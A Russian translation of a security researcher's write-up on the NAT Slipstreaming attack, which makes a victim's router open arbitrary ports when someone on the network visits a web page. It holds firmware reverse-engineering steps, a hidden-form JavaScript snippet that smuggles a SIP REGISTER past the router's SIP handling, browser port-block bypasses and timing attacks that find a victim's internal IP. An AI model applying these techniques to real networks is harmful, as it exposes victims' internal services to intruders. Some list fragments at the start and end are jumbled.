
NAT Slipstreaming позволяет злоумышленнику удаленно получать доступ к любым службам TCP/UDP, привязанным к машине жертвы, обходя NAT/межсетевой экран жертвы, просто когда кто-либо в сети жертвы посещает веб-сайт.
NAT Slipstreaming позволяет атакующему удаленно получить доступ к любому TCP/UDP сервису, привязанному к любой системе за NAT жертвы, обходя NAT/файрвол жертвы (удаленное произвольное открытие портов файрвола) — достаточно того, чтобы жертва посетила веб-сайт.
v1 разработал: @SamyKamkar // https://samy.pl
v2 разработали: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky из Armis).
Читайте отличную техническую статью Бена и Грегори о v2 здесь, где подробно описаны их обновления v2 с множеством дополнительных деталей.
v1 выпущена: 31 октября 👻, 2020
v2 выпущена: 26 января 2021
Исходный код: https://github.com/samyk/slipstream
анимированная версия здесь создана с помощью моего форка draw.io, позволяющего экспортировать контекст потока граней и управление анимацией
NAT Slipstreaming использует браузер пользователя в сочетании с механизмом отслеживания соединений шлюза прикладного уровня (ALG), встроенным в NAT, маршрутизаторы и файрволы. Атака объединяет: извлечение внутреннего IP с помощью атаки по времени или WebRTC, автоматическое обнаружение MTU и фрагментации IP, манипуляцию размером TCP-пакетов, неправильное использование аутентификации TURN, точный контроль границ пакетов и путаницу протоколов через злоупотребление браузером. Поскольку именно NAT или файрвол открывает порт назначения, это обходит любые ограничения портов на уровне браузера.
Эта атака использует произвольный контроль над частью данных некоторых TCP- и UDP-пакетов без включения HTTP или других заголовков; атака применяет новую технику инъекции пакетов во всех основных современных (и старых) браузерах и является модернизированной версией моей оригинальной техники NAT Pinning от 2010 года (представлена на DEFCON 18 и Black Hat 2010). Кроме того, включены новые методы обнаружения локального IP-адреса.
Для этой атаки требуется, чтобы NAT/файрвол поддерживал ALG (шлюзы прикладного уровня), которые обязательны для протоколов, использующих несколько портов (канал управления + канал данных), таких как SIP и H323 (VoIP-протоколы), FTP, IRC DCC и т.д.
На высоком уровне NAT Slipstreaming работает следующим образом:
.local mDNS/Bonjour не будет полезен для атаки)img на все распространенные шлюзы (например 192.168.0.1) загружаются в фонеimg прикрепляются события onerror/onsuccessМы используем NAT (трансляцию сетевых адресов) по нескольким причинам. Самая полезная функция NAT — это возможность разделять один публичный IP-адрес между несколькими системами. Это делается путём создания локальной сети, предоставления локальных IP-адресов всем подключённым машинам, и когда одна из этих систем обращается в Интернет, она перезаписывает исходящие пакеты, используя публичный IP, чтобы ответы возвращались на NAT, и наоборот, перезаписывая целевой IP на IP конкретного клиента.
Именно NAT должен различать соединения с одними и теми же адресами/портами (google.com:443) от внутренних хостов, поскольку в конечном итоге их исходящий порт, целевой IP и исходный IP будут одинаковыми. Если два разных внутренних узла попытаются подключиться с одного и того же исходного порта, современные NAT изменят один из исходных портов (некоторые сети делают это для всех исходных портов TCP/UDP).

Из Wikipedia (Wikiwand):``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
Если машина за вашим NAT отправляет пакет наружу, и ваш маршрутизатор ожидает ответа от удаленного хоста, он отслеживает информацию, а именно исходный и целевой порты, исходный и целевой IP-адреса, а также ваш внутренний IP, а затем отправляет любые пакеты, соответствующие этим данным, обратно на ваш внутренний IP.
Если другой хост в вашей локальной сети попытается установить то же самое соединение с теми же исходными и целевыми портами и IP-адресами, ваш NAT не сможет различить их (исходные IP-адреса в вашей локальной сети различаются, но на стороне WAN они переписываются в один и тот же публичный IP), поэтому он изменяет исходный порт, но возвращает его обратно при отправке вам.
### Шлюз прикладного уровня
ALG позволяют NAT отслеживать многопортовый протокол, такой как FTP, который выходит из вашей системы на FTP-сервер, а затем, когда вы запрашиваете отправку файла на ваш внутренний IP через определенный порт, ALG может перезаписать пакет, включив в него ваш публичный IP, а затем перенаправить соединение с FTP-сервера обратно вам. Если бы он не перезаписал ваш IP, FTP-сервер попытался бы подключиться к вам по вашему внутреннему IP (или не пытался бы вообще, если ожидает, что исходный IP совпадает с IP сигнального соединения).
Из [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
Сначала мне хотелось бы посмотреть, как обычные шлюзы на самом деле обрабатывают пакеты и многопортовые протоколы, такие как FTP, SIP и т.д. Для этого нам нужно будет провести реверс-инжиниринг прошивки распространенных маршрутизаторов. Мы могли бы дампить флеш-память с физических роутеров, однако если мы сможем получить незашифрованные прошивки от производителей, мы сможем исследовать больше моделей маршрутизаторов и гораздо быстрее.
Начнем с распространенного роутера, Netgear Nighthawk R7000. Быстрый поиск помогает нам найти статью Netgear с последней прошивкой. После загрузки прошивки и распаковки мы обнаруживаем файл размером 30MB с именем R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

Команда `file` не обнаруживает никакой [информации о магических числах](https://www.wikiwand.com/en/Magic_number_(programming)), поэтому мы можем использовать [`binwalk`](https://github.com/ReFirmLabs/binwalk) для сканирования файла на наличие вложенных данных.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

Я использую macOS, и binwalk из коробки зависит от некоторых Linux-приложений, из-за чего binwalk -e (который извлекает файлы) завершается ошибкой, поэтому я извлекаю вручную (и я <3 perl golf).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
Или используйте [`inout`](https://github.com/samyk/samytools/blob/master/inout), например `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
Можно использовать `dd`, но вам понадобится большой `bs` (размер блока), чтобы вывод был быстрым, например 1024, однако атрибут `skip` (чтобы указать начать с местоположения squashfs blob) будет учитывать размер блока, а 2221098 неочевидно делится на что-то быстро в уме, кроме 2... теперь мне стало любопытно.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
Теперь давайте распакуем файловую систему squash. Я создал форк форка squashfs-tools, который работает на macOS и имеет поддержку lzo. Возможно, вам также потребуется установить xz и lzo. В качестве альтернативы вы можете использовать sasquatch в Linux.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
И наконец мы можем распаковать squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
We now have the raw OS to explore!
Now let's see if we can find any files relevant to FTP as it was a heavily used protocol so ALG support will be rampant across routers. I use my g tool which is just a convenient wrapper around egrep.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
Ничего интересного, поэтому давайте `g` для бинарных файлов, чьё содержимое совпадает с /ftp/, игнорируя некоторые файлы, которые нас не интересуют.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g по умолчанию рекурсивно сканирует текущую рабочую директорию. -l предназначен для вывода только имён файлов (так как они, скорее всего, будут бинарными), -a для сканирования бинарных файлов, ftp для текста для сопоставления, и -v '\.(html?|js|gif)$|www/|bin/' для игнорирования веб-файлов и исполняемых файлов (находящихся в (s)bin/).
Любые файлы lib/lib*.{a,so}{.*,} (в формате bash) не представляют интереса, поэтому давайте просканируем снова с меньшим количеством:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### Исследование потенциально полезных функций
Итак, два файла представляют интерес -- `lib/modules/tdts.ko` может быть связан, а `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko`, вероятно, не связан, но звучит интересно! Возможно, исследую его позже.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
Отлично! Kernel-объект (.ko) с ftp-функциями и со словами вроде "port", вероятно, связан с FTP ALG. В FTP RFC 959 объясняется значение команды PORT:```
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### Порты / службы для исследования
Хотя мы нашли некоторые функции FTP, нас больше интересуют порты, которые можно использовать. Современные браузеры блокируют исходящие HTTP(S)-соединения к ряду [ограниченных портов](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), включая FTP, поэтому злоупотребление FTP ALG, скорее всего, не сработает.
В 2010 году, когда я [впервые продемонстрировал NAT Pinning](https://samy.pl/natpin/), я использовал порт 6667 (IRC) через сообщения DCC CHAT/FILE. Вскоре разработчики браузеров заблокировали порт 6667... хотя некоторые использовали uint32 (32-битное целое без знака) для хранения порта, проверяли, заблокирован ли порт, и, если нет, подключались. Чтобы обойти это, важно отметить, что порты TCP имеют длину 16 бит, поэтому если добавить 2**16 (65536) к выбранному «ограниченному» порту, в данном случае 65536+6667=72203, браузер сохранит 72203, пройдет проверку порта (72203 != 6667), а затем отправится в стек TCP, где будет усечен до 16 бит, то есть до нужного нам ограниченного порта!
Мой простой [`калькулятор систем счисления, 3`](https://github.com/samyk/samytools/blob/master/3) показывает это (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
Мы можем лучше рассмотреть это с помощью моей утилиты diffbits — простого инструмента для просмотра сходств и различий между битовыми строками, а также между несколькими группами битовых строк, полезного при реверс-инжиниринге проприетарных бинарных протоколов.

Откройте дизассемблер по вашему выбору. Я использовал Ghidra от наших друзей из NSA, так как он бесплатный и с открытым исходным кодом.
Некоторые функции, которые мы видели в tdts.ko через strings, были ftp_decode и ftp_decoder, так что возможно, другие ALG будут иметь функцию _decode. Давайте посмотрим...

Хорошо, куча функций _decode... прокручивая вниз, интересной оказывается sip_decode.

Проверяя ограниченные порты браузера, мы видим, что порт 5060 (стандартный порт SIP) не ограничен в Chrome :)
SIP работает поверх TCP/UDP 5060, но медиаданные, такие как RTP (аудио), передаются на альтернативных портах, которые генерируются на лету. При отправке запроса на SIP-вызов ваш SIP-клиент выбирает случайный порт, открывает его и включает в заголовок SIP. Ваш NAT также должен увидеть его и открыть, при условии, что SIP ALG включён (а на большинстве роутеров он включён по умолчанию).
Предполагая, что NAT читают SIP-пакеты построчно (SIP, как и HTTP, основан на строках и не является бинарным протоколом), возможно, он проигнорирует HTTP-заголовок и, добравшись до данных POST, прочитает REGISTER и решит, что это SIP-пакет. Этот подход сработал в нашей версии 2010 года для IRC DCC: NAT игнорировал HTTP-заголовок и просто парсил команду IRC DCC.
Забавно, что это также позволило нам заставить пользователей, посещающих наш сайт, подключаться к легитимному IRC-серверу, входить в канал и отправлять сообщение с их IP без их ведома! :P Я демонстрировал эту технику для отправки электронной почты на почтовые серверы с IP-адресами клиентов до того, как порт 25 был заблокирован браузерами и до того, как записи SPF стали обычным делом... безумие.
Теперь, в быстром тесте, отправка SIP-пакета REGISTER через порт 5060 внутри HTTP POST, похоже, не работает... возможно, мы что-то упускаем в пакете.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
Если мы перехватываем трафик, мы видим (разобрано с помощью [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
Однако это не открывает порт, и IP не переписывается, как можно было бы ожидать (подробнее об этом позже), так что мы что-то упускаем.
Давайте копать дальше в объектном файле ядра. В дизассемблере мы видим тег "SIP/2.0" из SIP-пакета, так что, вероятно, здесь происходит разбор (что и подразумевает "decode").

А, вот почему у нас не получается. Похоже, он выполняет strncasecmp для INVITE (аналогичный разбор для REGISTER) — сравнивает (без учёта регистра, что интересно, так как SIP INVITEs пишутся в верхнем регистре) слово "INVITE" в начале пакета и branches, если not equal (ARM-инструкция bne) относительно 0, то есть если слова совпадают, лексикографический порядок будет 0, и мы перейдём к ct_sip_get_header, что звучит забавно, а иначе, похоже, происходит выход.
Это и есть проблема... хотя мы можем использовать веб-браузер для создания исходящих сокетов (TCP через HTTP(S), UDP через TURN с WebRTC), у нас недостаточно контроля над браузером, чтобы начать передаваемую часть TCP-пакета со слова "INVITE", которое ожидает этот модуль. В версии 2010 года для IRC IRC ALG просто просматривал строку за строкой, игнорируя все заголовки HTTP, а затем использовал символы новой строки в данных POST для отправки правильного "IRC DCC". Однако этот SIP ALG гораздо строже, и управлять началом запроса невозможно. Если используется TLS, то пакет начинается с зашифрованного заголовка. Если используется HTTP, то пакет начинается с HTTP-метода (GET, POST и т.д.). Можем ли мы использовать это как-то иначе?
Чтобы лучше понять отслеживание соединений и шлюзы прикладного уровня, мы можем посмотреть, как они работают в netfilter — сетевом стеке Linux. Я создал диаграмму наиболее распространённых ALG и того, как они ведут себя, основываясь на анализе исходников Linux.

Из этой диаграммы наиболее интересными (которые Chrome не блокирует) являются sane (резервное копирование), sip (voip), pptp (vpn) и h323 (voip). Мы выбираем SIP, так как это один из наиболее распространённых протоколов, и мы уже видели его в прошивках некоторых роутеров.
В Linux есть файлы nf_conntrack_*.c для обработки отслеживания соединений по каждому протоколу и nf_nat_*.c для модификации пакетов (изменения).
Мы быстро рассмотрим модуль отслеживания соединений SIP
module_init(nf_conntrack_sip_init) инициализирует этот трекер соединений, вызывая nf_conntrack_sip_initnf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) мы ожидаем сигнализацию по IPv4 AF_INET TCP IPPROTO_TCP порту 5060 SIP_PORT... это происходит для UDP, TCP, IPv4 и IPv6sip_help_tcp(...) вызывается при поступлении подходящего TCP SIP-пакета
process_sip_msg(...) если это похоже на потенциальный SIP-пакет
Насколько нам известно, мы не можем заставить браузер отправлять исходящее TCP-соединение с произвольным трафиком, а для создания TCP/UDP-пакета, начинающегося с SIP-метода, такого как REGISTER или INVITE, это необходимо.
Flash когда-то позволял использовать исходящие сокеты, но в формате, который мы не могли полностью контролировать. Java требует разрешения. WebSockets — это всё ещё HTTP. TLS зашифрован. WebRTC (RFC 7742) зашифрован. STUN (RFC 3489) и TURN (RFC 5766) имеют фиксированные форматы, а TURNS (RFC 7065) зашифрован.
На высоком уровне мы не можем контролировать начало TCP-пакета, но что если мы отправим слишком большой пакет? Должен быть максимальный размер пакета... при превышении которого пакет должен быть фрагментирован на несколько пакетов. Если мы сможем переполнить размер TCP-пакета и точно контролировать часть данных, сможем ли мы вызвать фрагментацию пакета и поместить наши данные в самое начало следующего переполненного пакета?
Итак, нам нужно знать, сколько данных отправит браузер. Это будет различаться в зависимости от браузера и даже от пользователя, так как они могут отправлять разные заголовки HTTP. HTTPS не подойдёт, так как большая часть содержимого зашифрована, тогда как HTTP POST позволяет нам контролировать большую часть заголовка.
Чтобы получить общий размер пакета, мы отправляем большой (6000 байт) HTTP POST с идентификатором и данными-заполнителем через скрытую веб-форму на наш http://our.attack.server:5060/pktsize. На сервере атаки мы запускаем сниффер пакетов, который ищет границы нашего пакета, чтобы определить размер MTU (максимального блока передачи), размер IP-заголовка, возможные IP-опции, размер TCP-заголовка, возможные TCP-опции, размер данных пакета и какую часть пакета мы контролируем.
Мы также запускаем пользовательский сервер, который слушает TCP-порт 5060 и отвечает HTTP-трафиком, чтобы браузер не заметил ничего подозрительного (сервер с некорректным ответом вызовет ошибки в консоли, а неправильно отвечающий сервер будет держать индикатор загрузки активным).

Мы также пытаемся контролировать размер данных в TCP-пакете, отправляя опцию TCP Maximum Segment Size (mss) во время начального SYN-ответа, чтобы манипулировать исходящими размерами пакетов жертвы (RFC 793 разд. 3.1). Это заставляет машину жертвы ограничивать размер TCP-пакетов.

В Linux это можно сделать, добавив advmss <size> к ip route. Мы будем использовать 1500.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
Как только мы получаем пакеты, мы отправляем данные о размере обратно клиенту-жертве через отдельный POST-запрос, который содержит ID жертвы, чтобы мы могли сопоставить его с исходным запросом от жертвы. На этом этапе клиент имеет хорошее представление о том, как дополнять пакеты, чтобы произвольные данные попадали в определённое место внутри TCP-пакета.
### IP-фрагментация с UDP и TURN
Некоторые NAT разрешают доступ только к UDP-портам, если изначально SIP-соединение было UDP, поэтому в этом случае мы используем TURN. TURN — это протокол, поддерживающий ретрансляцию для одноранговой связи, такой как SIP и WebRTC. TURN работает через UDP, а TURNS (TURN+TLS) — через TCP. Современные браузеры поддерживают TURN для WebRTC на случай, если они не могут установить прямое одноранговое соединение друг с другом для обмена медиа.
TURN позволяет аутентификацию по имени пользователя и паролю; имя пользователя передаётся в открытом виде. Интересно, что имя пользователя не ограничено ни по размеру, ни по символам, поэтому мы можем использовать это для выполнения того же типа переполнения пакета.
Поскольку TURN работает через UDP, сам IP-пакет будет фрагментирован при превышении размера MTU (UDP не поддерживает сегментацию). Второй пакет будет содержать под нашим контролем не только часть данных, но и UDP-заголовок! Это не важно для нашей атаки, но интересно и определённо может породить альтернативные атаки. В конечном счёте мы можем выполнить ту же атаку через UDP, выравнивая границу нашего пакета на основе рассчитанного размера MTU, а не MSS, делая наш SIP-пакет UDP живущим на границе второго пакета (с поддельным UDP-заголовком в начале), что позволяет нам перенаправлять UDP-порты обратно к жертве.
## Атака по времени TCP / обнаружение внутренней подсети и IP-адреса
О, это всё ещё не сработает! Чтобы ALG обработал пакет как легитимный SIP-пакет, IP-адрес, на который вы запрашиваете возврат данных (в строке SIP [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13)), должен быть внутренним IP-адресом (жертвы), с которого пришёл SIP-пакет, а мы его не знаем. Только публичный IP-адрес маршрутизатора передаётся на наш сервер (поскольку NAT перезаписывает исходный IP-адрес при выходе на публичную сторону).
Мы видим эту проверку в `nf_conntrack_sip.c` из Linux в функции [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260):

В [2010 году](https://samy.pl/natpin/) мы использовали [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect), который позволял выполнять Java-код при некоторых условиях из JavaScript, извлекая локальный IP-адрес пользователя. Это быстро устарело.
В некоторых браузерах (Chrome, Firefox) мы можем использовать [WebRTC](https://www.w3.org/TR/webrtc/), чтобы получить внутренний IP-адрес жертвы через [ICE](https://tools.ietf.org/html/rfc5245) (который использует STUN/TURN/TURNS). Это протоколы, помогающие одноранговым узлам за NAT узнать информацию о самих себе. По иронии судьбы, в «запросе» ICE не нужно использовать сервер, так как браузер уже знает свой внутренний IP, а удалённый STUN/TURN-сервер всё равно не узнал бы его, если бы клиент не отправил его изначально. Проблема в том, что не все браузеры предоставляют такой механизм.
На сегодняшний день использование WebRTC для получения локального IP-адреса в Chrome (а не `.local` mDNS/Bonjour-адреса) требует HTTPS, но для остальных атак необходим HTTP, поэтому сначала мы проверяем, работаем ли мы по HTTP, и если нет, перенаправляем на HTTPS. Затем мы пытаемся использовать WebRTC для извлечения локального IP-адреса. В любом случае мы перенаправляем обратно на HTTP, добавляя IP-адреса к URL для обхода ограничений cross-origin с помощью других методов связи.
### Атака по времени
При использовании Safari, IE <= 11 или других браузеров, которые не поддерживают WebRTC или намеренно не раскрывают внутренний IP (Safari), мы можем применить веб-атаку по времени, чтобы узнать внутренний IP-адрес жертвы.
Мы добиваемся этого, создавая скрытые HTML-теги `` на странице, указывающие на распространённые шлюзы (192.168.*.1, 10.0.0.1 и [другие](https://github.com/samyk/slipstream/blob/main/server#L159)), вместе с обработчиками событий JavaScript `onsuccess` и `onerror`. Каждый раз, когда изображение добавляется на страницу, запускается таймер, и если срабатывает `onsuccess`, это означает, что IP-адрес ответил веб-сервером. Если веб-сервер не запущен, но IP-адрес существует в сети, будет отправлен TCP RST (сброс, означающий, что порт закрыт), что вызовет `onerror`. Если IP-адрес не существует, RST не отправляется, и ответ займёт более 1 секунды, после чего мы понимаем, что такого IP-адреса в нашей сети нет.
Как только мы видим, что срабатывает одно из этих событий, мы определяем потенциальную внутреннюю подсеть, а затем выполняем ту же атаку для каждого IP-адреса в подсети (например, 192.168.0.[2-255]), на этот раз используя более точное измерение времени, чтобы определить, какой IP-адрес отвечает **быстрее всего**. Скорее всего, это наш собственный (жертвы) внутренний IP, так как нам даже не нужно покидать сетевой интерфейс. Даже если по какой-то причине мы не первые, мы всё равно пытаемся выполнить атаку на все IP-адреса, которые ответили в сети.
## Путаница протоколов браузера
Как только клиент получает размеры пакетов и внутренний IP-адрес, он создаёт специально сформированную веб-форму, которая дополняет POST-данные до тех пор, пока, по нашему мнению, пакет не будет фрагментирован, после чего добавляется наш SIP REGISTER, содержащий внутренний IP-адрес. Форма отправляется через JavaScript без согласия жертвы. :)
[](img/pinpkt.png)
### Изменение пакетов в реальном времени в браузере
На нашем сервере атаки, поскольку мы видим входящие пакеты, мы проверяем, был ли SIP-пакет перезаписан с публичным IP-адресом. Если нет, мы автоматически сообщаем клиенту, что SIP-пакет не попал на ожидаемую границу пакета и не был перезаписан, и предоставляем новое положение границы, полученное от нашего сниффера.
Клиентский код автоматически корректирует размер пакета в соответствии с новым размером только после двух последовательных неудач. Некоторые браузеры (Firefox) иногда имеют немного другой размер пакета из-за генерируемой ими multipart-boundary для формы, которая, в отличие от большинства других браузеров, не имеет фиксированной длины. Я обнаружил, что примерно после 10 попыток размер становится одинаковым, и атака удаётся.
Как только SIP-пакет попадает на границу пакета, NAT обманывается, полагая, что это легитимная SIP-регистрация от SIP-клиента на машине жертвы. Когда наш сервер отвечает корректным SIP-ответом (вложенным в корректный HTTP-ответ, чтобы браузер не заметил ничего подозрительного), NAT открывает порт, указанный в исходном пакете, который мы заставили жертву отправить, и маршрутизатор теперь будет **перенаправлять любой порт, выбранный атакующим, обратно к внутренней жертве — и всё это благодаря простому посещению веб-сайта**.
Атака завершена. Теперь атакующий может подключаться к произвольным службам TCP/UDP, работающим на жертве.
# Другие находки
Они не используются в этой атаке, но тем не менее интересны и потенциально могут быть применены в других атаках.
- IP-фрагментация позволяет полностью управлять всеми данными в разделе данных IP-пакета, то есть полный контроль над UDP-заголовком, включая исходный/целевой порты, в переполненном пакете.
- Стек IP жертвы собирает фрагменты и не будет анализировать данные, однако NAT, через который проходит пакет, будет уязвим.
- Позволяет обходить брандмауэр браузера или системы, так как проверяется только исходный UDP-пакет, а не фрагментированный переполненный пакет.
- DoS-атака на SIP-клиента путём отправки `Expires: 0` и удаления conntrack для другого пользователя.
- Если порт уже занят, прослушиваемый порт увеличивается до тех пор, пока не произойдёт переполнение и порт не станет равным 0.
- STUN не имеет реализованной аутентификации ни в одном современном браузере.
# Скачать
Спасибо за чтение! Вы можете скачать код доказательства концепции с моего [репозитория NAT Slipstream на GitHub](https://github.com/samyk/slipstream).
# Контакты
**Контактное лицо:** [@SamyKamkar](https://twitter.com/samykamkar)
Больше моих проектов на <https://samy.pl> или, возможно, свяжитесь со мной по адресу <[email protected]>.
username TURN
username, вызывая фрагментацию IP и точный контроль границusername «набивается» до точного размера TCP-сегмента / границы пакета, затем «H.323-пакет» добавляется и отправляется через веб-формуprocess_sip_request(...)strncasecmp(*dptr, handler->method, ...) обработчик выйдет, если метод (например, REGISTER) не встречается в начале данных пакета (TCP или UDP) как мы видели с INVITE выше...REGISTER — это просто ещё одна SIP-командаprocess_register_request(...)nf_ct_expect_init(...) через sip_handlers мы инициализируем "дыру" в брандмауэре (порт, чтобы удалённый человек мог подключиться обратно), но мы ещё не открываем еёnf_nat_sip_hooks -> nf_nat_sip(...) NAT также изменяет (переписывает) внутренний IP-адрес клиента на публичный IP NAT, чтобы получатель мог к нему обратитьсяsip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) теперь мы смотрим на SIP-ответ от SIP-сервера
process_register_response(...) -> refresh_signalling_expectation(...) порт перенаправляется NAT только после того, как SIP-сервер отправляет корректный SIP-ответ